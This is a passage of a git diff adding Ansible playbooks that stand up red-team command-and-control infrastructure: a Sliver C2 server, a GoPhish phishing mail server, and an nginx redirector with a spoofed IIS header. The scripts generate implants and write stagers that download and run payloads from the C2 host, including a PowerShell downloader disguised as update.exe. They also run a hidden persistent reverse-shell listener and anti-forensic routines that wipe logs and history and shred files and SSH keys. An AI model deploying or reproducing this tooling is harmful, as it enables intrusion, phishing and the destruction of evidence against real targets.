+ + \ No newline at end of file diff --git a/FlokiNET/templates/motd-aws.j2 b/FlokiNET/templates/motd-aws.j2 new file mode 100644 index 0000000..b8c3efe --- /dev/null +++ b/FlokiNET/templates/motd-aws.j2 @@ -0,0 +1,43 @@ +Welcome to your new C2 Server! + +The following tools and utilities have been installed: + +Apt-Installed Tools: +-------------------- +- git, wget, curl, unzip +- python3-pip, python3-venv, pipx +- tmux, nmap, tcpdump, hydra, john, hashcat +- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder +- golang, proxychains, tor, crackmapexec, jq, unzip +- postfix, certbot, opendkim, opendkim-tools + +Pipx-Installed Tools: +--------------------- +- NetExec: git+https://github.com/Pennyw0rth/NetExec +- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray +- impacket: (various network protocols and service tools) + +Custom Tools Installed in ~/Tools: +---------------------------------- +- SharpCollection: /home/kali/Tools/SharpCollection +- Kerbrute: /home/kali/Tools/Kerbrute +- PEASS-ng: /home/kali/Tools/PEASS-ng +- MailSniper: /home/kali/Tools/MailSniper +- Inveigh: /home/kali/Tools/Inveigh +- Gophish: /home/kali/Tools/gophish (unzipped here) + +Other Installed C2 Frameworks: +------------------------------ +- Metasploit Framework: system installed (run 'msfconsole') +- Sliver C2: system installed (run 'sliver') + +Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations. + +Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running: + + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ mail_hostname }} + sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }} + +**IMPORTANT:** + +Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain. diff --git a/FlokiNET/templates/nginx.conf.j2 b/FlokiNET/templates/nginx.conf.j2 new file mode 100644 index 0000000..8a6c327 --- /dev/null +++ b/FlokiNET/templates/nginx.conf.j2 @@ -0,0 +1,59 @@ +user www-data; +worker_processes auto; +pid /run/nginx.pid; +include /etc/nginx/modules-enabled/*.conf; + +events { + worker_connections 1024; + multi_accept on; +} + +http { + # Basic Settings + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + + # MIME + include /etc/nginx/mime.types; + default_type application/octet-stream; + + # Zero-logs configuration + # This completely disables all access logs + access_log off; + # Minimal error logs - critical only + error_log /dev/null crit; + + # SSL Settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + ssl_session_tickets off; + + # Headers to confuse fingerprinting + # Microsoft-IIS/8.5 server header to throw off analysis + #more_set_headers 'Server: Microsoft-IIS/8.5'; + add_header Server "Microsoft-IIS/8.5"; + server_name_in_redirect off; + + # OPSEC: Hide proxy headers + proxy_hide_header X-Powered-By; + proxy_hide_header X-AspNet-Version; + proxy_hide_header X-Runtime; + + # IP Rotation and proxying + real_ip_header X-Forwarded-For; + set_real_ip_from 127.0.0.1; + + # Gzip Settings + gzip off; # Disabled to avoid BREACH attack + + # Virtual Host Configs + include /etc/nginx/conf.d/*.conf; + include /etc/nginx/sites-enabled/*; +} \ No newline at end of file diff --git a/FlokiNET/templates/shell-handler.service.j2 b/FlokiNET/templates/shell-handler.service.j2 new file mode 100644 index 0000000..a5c048c --- /dev/null +++ b/FlokiNET/templates/shell-handler.service.j2 @@ -0,0 +1,27 @@ +[Unit] +Description=Reverse Shell Handler Service +After=network.target + +[Service] +Type=simple +User=root +Group=root +ExecStart=/opt/shell-handler/persistent-listener.sh +Restart=always +RestartSec=10 + +# Hide process information +PrivateTmp=true +ProtectSystem=full +NoNewPrivileges=true + +# Make shell handler hard to find +StandardOutput=null +StandardError=null + +# Environment variables +Environment="C2_HOST={{ c2_ip }}" +Environment="LISTEN_PORT={{ shell_handler_port }}" + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/FlokiNET/templates/sliver-server.service.j2 b/FlokiNET/templates/sliver-server.service.j2 new file mode 100644 index 0000000..9c8c170 --- /dev/null +++ b/FlokiNET/templates/sliver-server.service.j2 @@ -0,0 +1,24 @@ +[Unit] +Description=Sliver C2 Server +After=network.target + +[Service] +Type=simple +User=root +Group=root +WorkingDirectory=/root/.sliver +ExecStart=/usr/local/bin/sliver-server daemon +Restart=always +RestartSec=10 + +# Security measures +PrivateTmp=true +ProtectHome=false +NoNewPrivileges=true + +# Hide process information +StandardOutput=null +StandardError=null + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/Linode/c2-deploy.yaml b/Linode/c2-deploy.yaml new file mode 100644 index 0000000..cee34d9 --- /dev/null +++ b/Linode/c2-deploy.yaml @@ -0,0 +1,355 @@ +--- +- name: Create and configure Linode instance for C2 Server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + tasks: + - name: Select a random region + set_fact: + selected_region: "{{ region_choices | random }}" + + - name: Create Linode instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ instance_label }}" + type: "{{ plan }}" + region: "{{ selected_region }}" + image: "{{ image }}" + root_pass: "{{ lookup('password', '/dev/null length=16') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: linode_instance + + - name: Wait for Linode instance to be reachable + wait_for: + host: "{{ linode_instance.instance.ipv4[0] }}" + port: 22 + delay: 30 + timeout: 600 + state: started + + - name: Add Linode instance to inventory + add_host: + name: "{{ instance_label }}" + ansible_host: "{{ linode_instance.instance.ipv4[0] }}" + ansible_user: root + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + +- name: Secure and configure C2 server + hosts: "{{ instance_label }}" + gather_facts: true + tasks: + - name: Disable root password authentication for SSH immediately + ansible.builtin.lineinfile: + path: /etc/ssh/sshd_config + regexp: '^#?PasswordAuthentication' + line: 'PasswordAuthentication no' + state: present + + - name: Restart SSH service to apply root password login restriction + ansible.builtin.service: + name: ssh + state: restarted + + - name: Update apt package list + ansible.builtin.apt: + update_cache: yes + + - name: Set a custom MOTD + template: + src: motd-linode.j2 + dest: /etc/motd + owner: root + group: root + mode: '0644' + vars: + letsencrypt_email: "{{ letsencrypt_email }}" + mail_hostname: "{{ mail_hostname }}" + domain: "{{ domain }}" + gophish_admin_domain: "{{ gophish_admin_domain }}" + gophish_site_domain: "{{ gophish_site_domain }}" + + - name: Hush Default Login Message + ansible.builtin.shell: | + rm -rf '/usr/bin/kali-motd' + + - name: Install base utilities and tools via apt + ansible.builtin.apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-venv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + state: present + + - name: Ensure pipx path is configured + ansible.builtin.shell: | + pipx ensurepath + args: + executable: /bin/bash + + - name: Install tools via pipx + ansible.builtin.shell: | + export PATH=$PATH:/root/.local/bin + pipx ensurepath + pipx install git+https://github.com/Pennyw0rth/NetExec + pipx install git+https://github.com/blacklanternsecurity/TREVORspray + pipx install impacket + args: + executable: /bin/bash + + - name: Download Kerbrute + ansible.builtin.shell: | + mkdir -p ~/Tools/Kerbrute + wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O ~/Tools/Kerbrute/kerbrute + chmod +x ~/Tools/Kerbrute/kerbrute + args: + executable: /bin/bash + + - name: Clone SharpCollection nightly builds + ansible.builtin.git: + repo: https://github.com/Flangvik/SharpCollection.git + dest: ~/Tools/SharpCollection + version: master + + - name: Clone PEASS-ng + ansible.builtin.git: + repo: https://github.com/carlospolop/PEASS-ng.git + dest: ~/Tools/PEASS-ng + + - name: Clone MailSniper + ansible.builtin.git: + repo: https://github.com/dafthack/MailSniper.git + dest: ~/Tools/MailSniper + + - name: Clone Inveigh + ansible.builtin.git: + repo: https://github.com/Kevin-Robertson/Inveigh.git + dest: ~/Tools/Inveigh + + - name: Install Sliver C2 server + ansible.builtin.shell: | + curl https://sliver.sh/install | sudo bash + systemctl enable sliver + systemctl start sliver + + - name: Install Metasploit Framework (Nightly Build) + ansible.builtin.shell: | + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > ~/Tools/msfinstall + chmod 755 ~/Tools/msfinstall + ~/Tools/msfinstall + args: + executable: /bin/bash + + - name: Grab GoPhish + ansible.builtin.shell: | + curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o ~/Tools/gophish.zip + unzip ~/Tools/gophish.zip -d ~/Tools/gophish + rm -rf ~/Tools/gophish.zip + chmod +x ~/Tools/gophish + + - name: Deploy Gophish config.json with custom admin port + template: + src: gophish-config.j2 + dest: ~/Tools/gophish/config.json + owner: root + group: root + mode: '0644' + vars: + gophish_admin_port: "{{ gophish_admin_port }}" + domain: "{{ domain }}" + + - name: Configure Postfix main.cf + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } + - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } + - { regexp: '^myorigin', line: "myorigin = $mydomain" } + - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } + - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } + - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } + - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } + - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } + - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } + - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } + - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } + - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } + - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } + - { regexp: '^milter_default_action', line: "milter_default_action = accept" } + - { regexp: '^milter_protocol', line: "milter_protocol = 6" } + - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + + - name: Configure OpenDKIM + lineinfile: + path: /etc/opendkim.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^Domain', line: "Domain {{ domain }}" } + - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } + - { regexp: '^Selector', line: "Selector mail" } + - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^Syslog', line: "Syslog yes" } + - { regexp: '^UMask', line: "UMask 002" } + - { regexp: '^Mode', line: "Mode sv" } + + - name: Create DKIM directory + file: + path: /etc/opendkim/keys/{{ domain }} + state: directory + owner: opendkim + group: opendkim + mode: 0700 + + - name: Generate DKIM keys + command: > + opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail + args: + creates: /etc/opendkim/keys/{{ domain }}/mail.private + + - name: Set permissions for DKIM keys + file: + path: /etc/opendkim/keys/{{ domain }}/mail.private + owner: opendkim + group: opendkim + mode: 0600 + + - name: Configure OpenDKIM TrustedHosts + copy: + content: | + 127.0.0.1 + ::1 + localhost + {{ domain }} + dest: /etc/opendkim/TrustedHosts + owner: opendkim + group: opendkim + mode: 0644 + + - name: Enable submission port (587) in master.cf + blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + + # Dovecot Configuration for SASL + - name: Configure Dovecot for Postfix SASL + blockinfile: + path: /etc/dovecot/conf.d/10-master.conf + insertafter: '^service auth {' + block: | + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0660 + user = postfix + group = postfix + } + + - name: Set Dovecot auth_mechanisms + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^auth_mechanisms' + line: 'auth_mechanisms = plain login' + + - name: Create Dovecot password file for SASL authentication + file: + path: /etc/dovecot/passwd + state: touch + mode: '0600' + owner: dovecot + group: dovecot + + - name: Add SMTP auth user to Dovecot + lineinfile: + path: /etc/dovecot/passwd + line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" + + - name: Disable system auth and use passwd-file + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^!include auth-system.conf.ext' + line: '#!include auth-system.conf.ext' + + - name: Add auth-passwdfile configuration + blockinfile: + path: /etc/dovecot/conf.d/10-auth.conf + insertafter: '^auth_mechanisms =' + block: | + passdb { + driver = passwd-file + args = scheme=sha512_crypt /etc/dovecot/passwd + } + userdb { + driver = static + args = uid=vmail gid=vmail home=/var/vmail/%u + } + + - name: Create vmail user/group + group: + name: vmail + gid: 5000 + state: present + + - name: Create vmail user + user: + name: vmail + uid: 5000 + group: vmail + create_home: no + + - name: Restart Postfix + service: + name: postfix + state: restarted + + - name: Restart Dovecot + service: + name: dovecot + state: restarted \ No newline at end of file diff --git a/Linode/c2.yml b/Linode/c2.yml new file mode 100644 index 0000000..e8ca4bb --- /dev/null +++ b/Linode/c2.yml @@ -0,0 +1,341 @@ +--- +- name: Deploy Linode C2 server + hosts: localhost + gather_facts: false + connection: local + vars: + region: "{{ linode_region | default('us-east') }}" + instance_type: "{{ size | default('g6-standard-1') }}" + instance_name: "{{ c2_name | default('c2') }}" + domain: "{{ domain | default('example.com') }}" + c2_subdomain: "mail" + linode_image: "linode/debian11" + + tasks: + - name: Create Linode C2 instance + community.general.linode_v4: + label: "{{ instance_name }}" + type: "{{ instance_type }}" + region: "{{ region }}" + image: "{{ linode_image }}" + root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" + authorized_keys: + - "{{ lookup('file', ssh_key) }}" + state: present + register: c2_instance + + - name: Save C2 IP + set_fact: + c2_ip: "{{ c2_instance.instance.ipv4[0] }}" + + - name: Wait for SSH to become available + wait_for: + host: "{{ c2_ip }}" + port: 22 + delay: 10 + timeout: 300 + state: started + + - name: Add C2 server to inventory + add_host: + name: c2 + ansible_host: "{{ c2_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}" + groups: c2servers + +- name: Configure C2 server + hosts: c2servers + become: true + vars: + domain: "{{ domain | default('example.com') }}" + c2_subdomain: "mail" + letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" + zero_logs: "{{ zero_logs | default(true) }}" + redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" + + tasks: + - name: Update apt cache + apt: + update_cache: yes + + - name: Install required packages + apt: + name: + - git + - wget + - curl + - python3-pip + - golang + - tmux + - nmap + - jq + - secure-delete + - socat + state: present + + - name: Create directories for C2 operation + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/beacons + - /opt/payloads + + - name: Create clean-logs.sh script + copy: + content: | + #!/bin/bash + # Zero-logs maintenance script + umask 077 + + # Disable syslog temporarily + systemctl stop rsyslog 2>/dev/null + systemctl stop systemd-journald 2>/dev/null + + # Clear system logs + find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; + find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; + find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; + journalctl --vacuum-time=1s 2>/dev/null + + # Clear bash history + for histfile in /root/.bash_history /home/*/.bash_history; do + [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null + done + history -c + + # Clear Sliver logs + find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null + + # Clear temporary directories + rm -rf /tmp/* /var/tmp/* 2>/dev/null + + # Restart logging services + systemctl start systemd-journald 2>/dev/null + systemctl start rsyslog 2>/dev/null + + echo "[+] Log cleaning complete" + exit 0 + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + + - name: Create secure-exit.sh script + copy: + content: | + #!/bin/bash + # Secure cleanup script + + # Configuration + SECURE_DELETE_PASSES=7 + MEMORY_WIPE=true + + # Set secure umask + umask 077 + + # Function to securely delete files + secure_delete() { + local target=$1 + echo "[+] Securely deleting: $target" + + if command -v srm > /dev/null; then + srm -vzf $target 2>/dev/null + elif command -v shred > /dev/null; then + shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null + else + # Fallback to dd if specialized tools aren't available + dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null + dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null + rm -f $target 2>/dev/null + fi + } + + echo "[+] Beginning secure exit procedure..." + + # Stop all operational services + echo "[+] Stopping operational services..." + services=("sliver") + for service in "${services[@]}"; do + systemctl stop $service 2>/dev/null + done + + # Kill any remaining operational processes + echo "[+] Terminating operational processes..." + process_names=("sliver" "nc" "python") + for proc in "${process_names[@]}"; do + pkill -9 $proc 2>/dev/null + done + + # Clear all logs + echo "[+] Clearing logs..." + bash /opt/c2/clean-logs.sh + + # Securely delete operational files + echo "[+] Removing operational files..." + operational_dirs=( + "/opt/c2" + "/opt/beacons" + "/opt/payloads" + "/root/.sliver" + ) + + for dir in "${operational_dirs[@]}"; do + find $dir -type f 2>/dev/null | while read file; do + secure_delete "$file" + done + rm -rf $dir 2>/dev/null + done + + # Remove SSH keys + echo "[+] Removing SSH keys and configs..." + find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do + secure_delete "$file" + done + + # Clean memory if requested + if $MEMORY_WIPE; then + echo "[+] Wiping system memory..." + sync + echo 3 > /proc/sys/vm/drop_caches + swapoff -a + swapon -a + fi + + echo "[+] Secure exit completed. Infrastructure has been sanitized." + + # Remove this script itself + exec shred -n $SECURE_DELETE_PASSES -uz $0 + dest: /opt/c2/secure-exit.sh + mode: '0700' + owner: root + group: root + + - name: Create beacon-server.sh script + copy: + content: | + #!/bin/bash + # Beacon server script + + # Configuration + BEACONS_DIR="/opt/beacons" + WEBSERVER_PORT=8443 + + # Set secure umask + umask 077 + + # Ensure beacons directory exists + mkdir -p $BEACONS_DIR + + # Generate beacons using Sliver + echo "[+] Generating beacons for all platforms..." + + # Make sure Sliver server is running + if ! pgrep -x "sliver-server" > /dev/null; then + echo "[!] Sliver server is not running, starting it..." + systemctl start sliver + sleep 5 + fi + + # Generate Windows beacon + sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe + + # Generate Linux beacon + sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux + + # Generate macOS beacon + sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos + + # Generate stagers + echo "#!/bin/bash + curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh + chmod +x $BEACONS_DIR/beacon.sh + + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; + \$url = 'http://{{ ansible_host }}:8443/windows.exe'; + \$outpath = \"\$env:TEMP\\update.exe\"; + Invoke-WebRequest -Uri \$url -OutFile \$outpath; + Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 + + echo "[+] All beacons generated successfully" + + # Serve beacons using Python's HTTP server + echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." + cd $BEACONS_DIR + python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & + SERVER_PID=$! + + echo "[+] Beacon server started with PID $SERVER_PID" + echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/" + + # Keep script running + trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT + while true; do sleep 1; done + dest: /opt/c2/beacon-server.sh + mode: '0700' + owner: root + group: root + + - name: Install Sliver C2 framework + shell: | + curl https://sliver.sh/install | bash + args: + creates: /usr/local/bin/sliver-server + + - name: Create Sliver service file + copy: + content: | + [Unit] + Description=Sliver C2 Server + After=network.target + + [Service] + Type=simple + User=root + Group=root + WorkingDirectory=/root/.sliver + ExecStart=/usr/local/bin/sliver-server daemon + Restart=always + RestartSec=10 + + # Security measures + PrivateTmp=true + ProtectHome=false + NoNewPrivileges=true + + # Hide process information + StandardOutput=null + StandardError=null + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/sliver.service + mode: '0644' + owner: root + group: root + + - name: Start and enable Sliver service + systemd: + name: sliver + state: started + enabled: yes + daemon_reload: yes + + - name: Set up cron job for log cleaning + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs|bool + + - name: Start beacon server + shell: | + nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 & + args: + creates: /opt/beacons/windows.exe \ No newline at end of file diff --git a/Linode/redirector.yml b/Linode/redirector.yml new file mode 100644 index 0000000..08f5a3e --- /dev/null +++ b/Linode/redirector.yml @@ -0,0 +1,436 @@ +--- +- name: Deploy Linode redirector server + hosts: localhost + gather_facts: false + connection: local + vars: + region: "{{ linode_region | default('us-east') }}" + instance_type: "{{ size | default('g6-standard-1') }}" + instance_name: "{{ redirector_name | default('redirector') }}" + domain: "{{ domain | default('example.com') }}" + redirector_subdomain: "cdn" + linode_image: "linode/debian11" + + tasks: + - name: Create Linode redirector instance + community.general.linode_v4: + label: "{{ instance_name }}" + type: "{{ instance_type }}" + region: "{{ region }}" + image: "{{ linode_image }}" + root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" + authorized_keys: + - "{{ lookup('file', ssh_key) }}" + state: present + register: redirector_instance + + - name: Save redirector IP + set_fact: + redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}" + + - name: Wait for SSH to become available + wait_for: + host: "{{ redirector_ip }}" + port: 22 + delay: 10 + timeout: 300 + state: started + + - name: Add redirector to inventory + add_host: + name: redirector + ansible_host: "{{ redirector_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}" + groups: redirectors + +- name: Configure redirector + hosts: redirectors + become: true + vars: + domain: "{{ domain | default('example.com') }}" + redirector_subdomain: "cdn" + letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" + zero_logs: "{{ zero_logs | default(true) }}" + shell_handler_port: 4444 + c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" + + tasks: + - name: Update apt cache + apt: + update_cache: yes + + - name: Install required packages + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - socat + - netcat-openbsd + - cryptsetup + - secure-delete + state: present + + - name: Create directories for OPSEC scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/shell-handler + + - name: Create clean-logs.sh script + copy: + content: | + #!/bin/bash + # Zero-logs maintenance script + umask 077 + + # Disable syslog temporarily + systemctl stop rsyslog 2>/dev/null + systemctl stop systemd-journald 2>/dev/null + + # Clear system logs + find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; + find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; + find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; + journalctl --vacuum-time=1s 2>/dev/null + + # Clear bash history + for histfile in /root/.bash_history /home/*/.bash_history; do + [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null + done + history -c + + # Clear NGINX logs + for nginx_log in /var/log/nginx/*; do + [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null + done + + # Clear temporary directories + rm -rf /tmp/* /var/tmp/* 2>/dev/null + + # Restart logging services + systemctl start systemd-journald 2>/dev/null + systemctl start rsyslog 2>/dev/null + + echo "[+] Log cleaning complete" + exit 0 + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + + - name: Create shell handler script + copy: + content: | + #!/bin/bash + # Automated shell handler for catching and upgrading reverse shells + + # Configuration + LISTEN_PORT={{ shell_handler_port }} + C2_HOST="{{ c2_ip }}" + + # Set secure permissions + umask 077 + + # Logging function + log() { + local timestamp=$(date +"%Y-%m-%d %H:%M:%S") + local message="$1" + echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc + } + + # Detect OS function + detect_os() { + local connection=$1 + + # Send commands to determine OS + echo "echo \$OSTYPE" > $connection + sleep 1 + ostype=$(cat $connection | grep -i "linux\|darwin\|win") + + if [[ $ostype == *"win"* ]]; then + echo "windows" + elif [[ $ostype == *"darwin"* ]]; then + echo "macos" + elif [[ $ostype == *"linux"* ]]; then + echo "linux" + else + # Try Windows-specific command + echo "ver" > $connection + sleep 1 + winver=$(cat $connection | grep -i "microsoft windows") + + if [[ -n "$winver" ]]; then + echo "windows" + else + # Default to Linux if we can't determine + echo "linux" + fi + fi + } + + # Main shell handler loop + handle_connections() { + log "Shell handler started on port $LISTEN_PORT" + + # Use mkfifo for bidirectional communication + PIPE_PATH="/tmp/shell_handler_pipe" + trap 'rm -f $PIPE_PATH' EXIT + + while true; do + # Clean up existing pipe + rm -f $PIPE_PATH + mkfifo $PIPE_PATH + + log "Waiting for incoming connection..." + nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & + NC_PID=$! + + # Wait for connection + wait $NC_PID + log "Connection closed, restarting listener..." + rm -f $PIPE_PATH.output + done + } + + # Start the shell handler + handle_connections + dest: /opt/shell-handler/persistent-listener.sh + mode: '0700' + owner: root + group: root + + - name: Create shell handler service + copy: + content: | + [Unit] + Description=Reverse Shell Handler Service + After=network.target + + [Service] + Type=simple + User=root + Group=root + ExecStart=/opt/shell-handler/persistent-listener.sh + Restart=always + RestartSec=10 + + # Hide process information + PrivateTmp=true + ProtectSystem=full + NoNewPrivileges=true + + # Make shell handler hard to find + StandardOutput=null + StandardError=null + + # Environment variables + Environment="C2_HOST={{ c2_ip }}" + Environment="LISTEN_PORT={{ shell_handler_port }}" + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/shell-handler.service + mode: '0644' + owner: root + group: root + + - name: Configure NGINX for zero-logging + copy: + content: | + user www-data; + worker_processes auto; + pid /run/nginx.pid; + include /etc/nginx/modules-enabled/*.conf; + + events { + worker_connections 1024; + multi_accept on; + } + + http { + # Basic Settings + sendfile on; + tcp_nopush on; + tcp_nodelay on; + keepalive_timeout 65; + types_hash_max_size 2048; + server_tokens off; + + # MIME + include /etc/nginx/mime.types; + default_type application/octet-stream; + + # Zero-logs configuration + access_log off; + error_log /dev/null crit; + + # SSL Settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + + # Headers to confuse fingerprinting + more_set_headers 'Server: Microsoft-IIS/8.5'; + + # Virtual Host Configs + include /etc/nginx/conf.d/*.conf; + include /etc/nginx/sites-enabled/*; + } + dest: /etc/nginx/nginx.conf + mode: '0644' + owner: root + group: root + when: zero_logs|bool + + - name: Configure NGINX default site for C2 redirection + copy: + content: | + server { + listen 80; + listen [::]:80; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; + } + + server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # SSL Configuration (self-signed until Let's Encrypt is set up) + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Root directory + root /var/www/html; + index index.html; + + # Special URI patterns for C2 traffic + location /ajax/ { + proxy_pass http://{{ c2_ip }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade 